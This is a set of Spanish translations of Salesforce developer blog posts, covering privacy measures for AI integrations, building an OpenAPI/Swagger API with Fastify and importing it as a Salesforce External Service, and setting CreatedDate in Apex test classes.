Garantizar que la integración de IA no acceda a los datos ni modifique los sistemas más allá del alcance previsto es crucial para mantener la seguridad de los datos y la integridad del sistema. Como describimos anteriormente, los controles de acceso y los permisos de los usuarios deben definirse cuidadosamente, otorgando a los sistemas de IA solo los privilegios necesarios y limitando su acceso a fuentes o sistemas de datos específicos. Además, se deben realizar pruebas y validaciones exhaustivas de la integración de la IA para verificar que funcione según lo previsto y que no tenga consecuencias ni vulnerabilidades no deseadas.

Finalmente, implementar mecanismos de monitoreo robustos puede ayudar a detectar y alertar cualquier intento de acceso no autorizado o comportamiento anormal por parte del sistema de IA. Las auditorías y revisiones periódicas de los procesos de integración de IA y los registros de acceso pueden ayudar a identificar cualquier desviación o posibles riesgos de seguridad.

Event Monitoring ayuda a que el proceso de monitoreo y detección sea más fácil al permitir la configuración de capacidades, como la seguridad de transacciones, para enviar alertas o bloquear acciones más allá de lo que se pretendía inicialmente para su proceso de IA.

Finalmente, a medida que se adentra más en su viaje de IA, es fundamental que sus datos estén respaldados y puedan restaurarse hasta el nivel de registro en el caso poco probable de que los datos utilizados y aumentados por IA estén mal configurados o sincronizados incorrectamente. Haga una copia de seguridad de sus datos para ver cada versión de los registros utilizados y tocados por AI, y restaure cualquier error.

Conclusión

Al adoptar un enfoque que prioriza la privacidad e implementar medidas sólidas de protección de datos, puede crear una base confiable para prácticas de IA generativas responsables, sostenibles y éticas, todo mientras impulsa una innovación más eficiente y efectiva e interacciones más personalizadas con los clientes. Para obtener más información sobre cómo comenzar con la IA generativa, consulte nuestra Guía de introducción a la IA.

Recursos

Sobre el Autor

Marla Hay Vicepresidenta de Seguridad, Privacidad y Gestión de Datos en Salesforce y dirige la organización de productos de Servicios de confianza. Se unió a Salesforce en 2017 después de liderar productos en una empresa de gestión de identidad de consumidores. Marla tiene una licenciatura en Ciencias de la Computación de la Universidad de Cornell y una maestría en Ciencias de la Computación de la Universidad Johns Hopkins.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Diseñe una API Swagger con código para traer datos a Salesforce ☁️

Diseñe una API Swagger con código para traer datos a Salesforce ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Diseñe una API de Swagger con código para llevar datos a Salesforce | Blog de desarrolladores de Salesforce

La integración de una API externa con su organización de Salesforce puede ser una tarea sencilla que no requiere código si utilizaCredenciales con nombre y Servicios externos . Deberá crear una credencial con nombre que apunte a la API y configurar un servicio externo en la interfaz de usuario de configuración. La clave aquí es proporcionar una especificación OpenAPI para la API. Si la API no tiene una, puede diseñarla usted mismo manualmente usando YAML o JSON, usar MuleSoft Anypoint Platform o aprovechar las herramientas y el código de código abierto.

En esta publicación, le presentaremos la especificación OpenAPI y Swagger, discutiremos los elementos principales de la especificación y lo guiaremos a través del diseño e implementación de una API con código. Usaremos Node.js y Swagger dentro del marco Fastify para esta tarea. Finalmente, integraremos esta API con Salesforce.

OpenAPI y Swagger

OpenAPI es una especificación para diseñar y construir API. Proporciona una forma estandarizada de definir su API para otros, brindando una forma estructurada que incluye puntos finales, tipos de solicitud/respuesta, definiciones de esquema, métodos de autenticación y más. Las especificaciones de OpenAPI están escritas en formatos YAML o JSON, ambos fáciles de leer y escribir. Esta especificación es ampliamente adoptada y respaldada por una variedad de herramientas, lo que la convierte en una opción popular para diseñar y documentar API. De hecho, si desea importar una API a Salesforce utilizando servicios externos, deberá especificarse con OpenAPI. Además, Salesforce es miembro de la Iniciativa OpenAPI .

Nota: A la fecha de esta publicación, la versión actual de la especificación OpenAPI es 3.1.0.

Swagger , por otro lado, es un conjunto de herramientas ( la mayoría de código abierto ) para implementar la especificación OpenAPI. Incluye la interfaz de usuario de Swagger, que proporciona una interfaz gráfica para comprender y probar las API, y Swagger Codegen, que genera código SDK de cliente y apéndices de servidor a partir de una especificación OpenAPI.

La especificación OpenAPI v2 también se conoce como Swagger, pero su nombre cambió cuando se convirtió en parte de la iniciativa OpenAPI en 2016.

Estructura básica de la especificación OpenAPI

La especificación OpenAPI está organizada en las siguientes secciones clave:

API abierta Define el documento raíz y combina la lista de recursos y la declaración de la API. Requerido
Información Proporciona metadatos sobre la API, como el título, la descripción, los términos del servicio, la información de contacto, etc. Obligatorio
Servidores Especifica una o más URL base para su API, como producción o preparación.
Seguridad Define un esquema de seguridad que pueden utilizar las operaciones de la API.
Caminos Describe las rutas y operaciones disponibles para la API. Cada ruta tiene un método HTTP con los detalles de la operación.
Etiquetas Agrega metadatos a una sola etiqueta que utiliza el objeto de operación.
Documentos externos Proporciona una descripción y una URL para la documentación externa.
Componentes Define un conjunto de objetos reutilizables para diferentes aspectos de la API. Esto puede incluir esquemas, respuestas, parámetros, ejemplos, cuerpos de solicitud, encabezados, esquemas de seguridad, etc.

Para obtener una explicación más detallada de cada sección y sus correspondientes definiciones de objeto, consulte la documentación oficial de la especificación OpenAPI .

Para fines de demostración, crearemos una API para administrar una librería. Esta API contará con dos métodos HTTP: uno para enumerar los libros disponibles y otro para agregar nuevos libros. A continuación, encontrará una definición básica de esta API, centrándose en el método para listar libros ( GET /books ) y sus objetos de respuesta.

Tenga en cuenta que estamos usando tres secciones principales aquí: Información , Rutas y Componentes . Como se mencionó anteriormente, describiremos esta API a medida que la implementemos mediante código. Para este propósito, utilizaremos Fastify y Fastify Swagger.

Fastify y Fastify Swagger

Fastify es un marco web altamente eficiente y flexible para Node.js. Está diseñado para facilitar su uso y ofrecer la máxima velocidad sin comprometer la personalización. Fastify proporciona una base sólida para las aplicaciones web y las API, con funciones como la validación de solicitudes y respuestas basadas en esquemas, ganchos, complementos y registro automático. Una de sus principales ventajas radica en su ecosistema, que incluye numerosos complementos centrales y mantenidos por la comunidad.

Uno de estos complementos es fastify-swagger . Este complemento nos permite ofrecer definiciones de Swagger (OpenAPI v2) u OpenAPI v3, que se generan automáticamente a partir de sus esquemas de ruta o de una definición existente de Swagger/OpenAPI. Además, utilizará fastify-swagger-ui , un complemento que sirve una instancia de Swagger UI dentro de su aplicación.

Nota: La siguiente demostración requiere la instalación de Node.js LTS y, a la fecha de esta publicación de blog, la última versión es v18.16.0.

Comencemos a crear la API de su librería instalando Fastify CLI y generando un nuevo proyecto ejecutando:

Luego, vayamos a la carpeta del proyecto e instalemos las dependencias fastify-swagger y fastify-swagger-ui .

Nota: En esta demostración, se centrará en tres aspectos principales: agregar compatibilidad con Swagger a Fastify, definir rutas de API y delinear esquemas y tipos de respuesta. No explicaremos cómo integrar la API con una base de datos. Si está interesado en explorar la fuente completa del proyecto, está disponible en el repositorio de ejemplos de codeLive.

Agreguemos compatibilidad con Swagger a Fastify editando el archivo app.js , luego importemos Swagger y SwaggerUI y registrémoslos como complementos.

aplicación.js

En la configuración del complemento de Swagger, tiene la opción de pasar toda la definición de especificación de OpenAPI, o puede aprovechar el enfoque dinámico que ofrece el complemento. Para esta demostración, utilizará el enfoque dinámico. Dado que el único campo obligatorio es info , definirá los metadatos de su API allí, además, la sección refResolver se encarga de nombrar las referencias de definición de esquema.

Y para SwaggerUI, solo especifica la ruta donde se alojará el sitio de documentación.

Ahora vamos a crear una carpeta schemas . Aquí es donde definirá los esquemas de su API. Para esta demostración, definirá un esquema book y un esquema error .

esquemas/index.js

Los esquemas representan la estructura de los objetos con los que trabajará, tanto para los cuerpos de solicitud como para los de respuesta. Para la especificación OpenAPI, el complemento Swagger agregará automáticamente estos objetos en el campo components .

Finalmente, definamos las rutas API para GET /books y POST /books usando Fastify. Primero, deberá registrar los esquemas dentro de Fastify. Luego, especificará los objetos de respuesta y solicitud para cada ruta que haga referencia a esos esquemas.

rutas/root.js

{ // … look at the code repository for a complete implementation } ) // POST /books fastify.post( ‘/books’, { schema: { description: "Create a book", body: { $ref: ‘book#’, required: [‘author’, ‘title’] }, response: { 201: { description: ‘Returns the book that has been created’, $ref: ‘book#’ }, 500: { description: ‘Returns an error’, $ref: ‘error#’ } } } }, async (request, reply) => { const { title, author } = request.body const id = randomUUID() const client = await fastify.pg.connect() try { const { rows: books } = await client.query( ‘INSERT INTO books(id, title, author) VALUES($1, $2, $3) RETURNING *’, [id, title, author] ) const [newBook] = books reply.code(201).send(newBook) } catch (error) { reply .status(500) .send({ code: 500, message: `An error ocurred: ${error.message}` }) } finally { client.release() } } ) // GET / fastify.get(‘/’, { schema: { hide: true } }, async function (request, reply) { reply.status(301).redirect(‘/api-docs’) })
} «>

Analicemos la ruta POST /books :

  • La función fastify.post define el método HTTP.
  • El primer argumento especifica la ruta: /books.
  • El segundo argumento especifica el schema , que incluye el body : el objeto de carga útil que espera la API. (Tenga en cuenta que es una referencia al esquema del book ). También incluye varios objetos response para esa ruta, que se asignan a los códigos de estado HTTP correspondientes 201 y 500 .
  • El tercer argumento es la implementación de la ruta. En este caso, está insertando el objeto en la base de datos y devolviendo el nuevo objeto. Si este proceso falla, devolverá un objeto de error. Es importante tener en cuenta que está utilizando los mismos esquemas que definió anteriormente.

Nota: También tiene la opción de excluir ciertas rutas de la documentación pasando hide: true en el objeto de esquema de esa ruta específica, como se demuestra en GET / route.

Su API está lista, así que ejecútela localmente para echar un vistazo a la interfaz de SwaggerUI ejecutando:

Y navegue a http://localhost:3000/api-docs para ver las diferentes rutas, su documentación y tener una forma de probarlas directamente desde la interfaz.

Si desea probarlo e implementarlo en Heroku, asegúrese de actualizar el script start en el archivo package.json con lo siguiente.

Además, asegúrese de tener acceso a una base de datos Heroku PostgreSQL y cree el esquema de la base de datos ejecutando:

<dx-code-block title language code-block="heroku pg:psql

Nota: El archivo database.sql está disponible en el repositorio de ejemplos de codeLive.

Luego puede implementarlo ejecutando:

Si desea ver cómo se ve implementado, vea mi versión que se ejecuta en Heroku .

Integración de una API externa con Salesforce

Ahora que tiene una API de acceso público, integrémosla con Salesforce como un servicio externo.

Primero, deberá crear una credencial con nombre para esta API. En la interfaz de usuario de configuración, vaya a Seguridad > Credenciales con nombre y cree una credencial externa con un protocolo de autenticación personalizado y una entidad de seguridad.

Asegúrese de que la credencial externa tenga una entidad principal a la que le haya asignado permisos en Acceso principal de credenciales externas en su conjunto de permisos.

Luego, cree una credencial con nombre que haga referencia a la credencial externa con la URL que apunta a la API pública.

A continuación, vaya a Integraciones > Servicios externos y agregue un nuevo servicio externo desde una especificación de API, seleccione la credencial con nombre y configure la ruta relativa a la ruta de especificación de OpenAPI. En su demostración, será /api-docs/json .

Después de eso, guarde sus cambios y seleccione las operaciones que desea importar a Salesforce, revise las operaciones y finalice.

Como puede ver, las operaciones que ha seleccionado se han importado correctamente, especificando tanto los parámetros de entrada como los de salida.

Ahora podrá invocar este servicio externo desde Flow, Apex, Einstein Bots y OmniStudio.

Conclusión

OpenAPI y los servicios externos de Salesforce brindan una poderosa combinación para integrar API externas en su organización de Salesforce. Al aprovechar el enfoque estandarizado de OpenAPI para definir las API y la capacidad de Salesforce para consumir fácilmente estas definiciones e invocarlas desde soluciones de código bajo y pro-código, los desarrolladores como usted pueden optimizar el proceso de conexión a servicios externos y mejorar las capacidades de sus aplicaciones de Salesforce.

Si está interesado en obtener más información sobre los servicios externos , puede encontrar una lista de recursos de aprendizaje a continuación, incluidos videos que muestran cómo invocarlos desde Flow y Apex.

Recursos de aprendizaje

Sobre el Autor

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo en Twitter @julian_duque, @julianduque.co en Bluesky social o LinkedIn.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Establecer fecha de creación para sObject de clase de prueba en Apex

Establecer fecha de creación para sObject de clase de prueba en Apex

Última actualización el 5 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se puede establecer la Fecha de creación para un sObject dentro de un contexto de prueba?

Objetivos:

Después de leer este blog, podrá:

  • Obtenga una comprensión integral del método setCreatedDate relacionado con las pruebas de Apex
  • Establecer la fecha de creación para el registro de la clase de prueba
  • y mucho más

👉 En el pasado escribí algunos artículos sobre Apex . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Calcular la cobertura general del código en Salesforce
  2. Comprobar si una cadena es nula, vacía o en blanco en Apex

Ben Halpern es un desarrollador Jr. de Salesforce en Gurukul On Cloud (GoC) . Creó un disparador de Apex para el objeto Lead.


desencadenar LeadTrigger en Lead (antes de la actualización) { if(Desencadenador.esAntes){ si (Desencadenador.Isupdate){ para (Lead myLead:trigger.new){ if(myLead.LeadSource==null && myLead.createddate== Fecha.hoy().addDays(-1)){ //hacer algo } } } }
}

Sabe cómo escribir la clase de prueba para el código anterior. Necesita ayuda para crear un registro con una fecha pasada dentro de la clase de prueba.

Enfoque de Campeón de Automatización (I-do):

Para establecer la fecha de creación de un sObject en una clase de prueba de Apex, puede utilizar el método Test.setCreatedDate(recordId, createdDatetime) . Esto le permite especificar una fecha y hora deseadas para el campo Fecha de creación del registro de sObject dentro de la clase de prueba.

A continuación se muestran detalles sobre los parámetros setCreatedDate .

Nombre de los parámetros
Detalles
ID de registro Representa el ID de un sObject.
Fecha y hora de creación Representa el valor para asignar al campo Fecha de creación del sObject.

Además, es importante tener en cuenta que el método setCreatedDate no se puede utilizar dentro de los métodos anotados con @isTest(SeeAllData=true). Hagamos una pausa aquí, familiarícese con el método de prueba s etCreatedDate Apex.

Práctica guiada (nosotros hacemos):

Con estos métodos, puede determinar de forma eficaz si un campo de texto es nulo, está vacío o está en blanco en Apex. Veamos esto en acción:

  1. Haga clic en Configuración | Consola de desarrollador .  
  2. Para crear una clase de prueba de Apex, haga clic en Archivo | Nuevo | Clase ápice.
     @esPrueba clase privada LeadTrigger_Test { static testMethod void testSetCreatedDate() { Lead l = new Lead(LastName='myLastname', Company='myCompany'); insertar l; Test.setCreatedDate(l.Id, Date.today().addDays(-1)); Prueba.startTest(); Lead myLead = [SELECCIONE Id, Nombre, Apellido, Empresa, Fecha de creación FROM Lead WHERE Apellido ='miApellido' límite 1]; myLead.FirstName = 'myFirstname'; actualizar myLead;
    System.assertEquals(myLead.CreatedDate, Date.today().addDays(-1)); Prueba.detenerPrueba(); }
    }
Seguir leyendo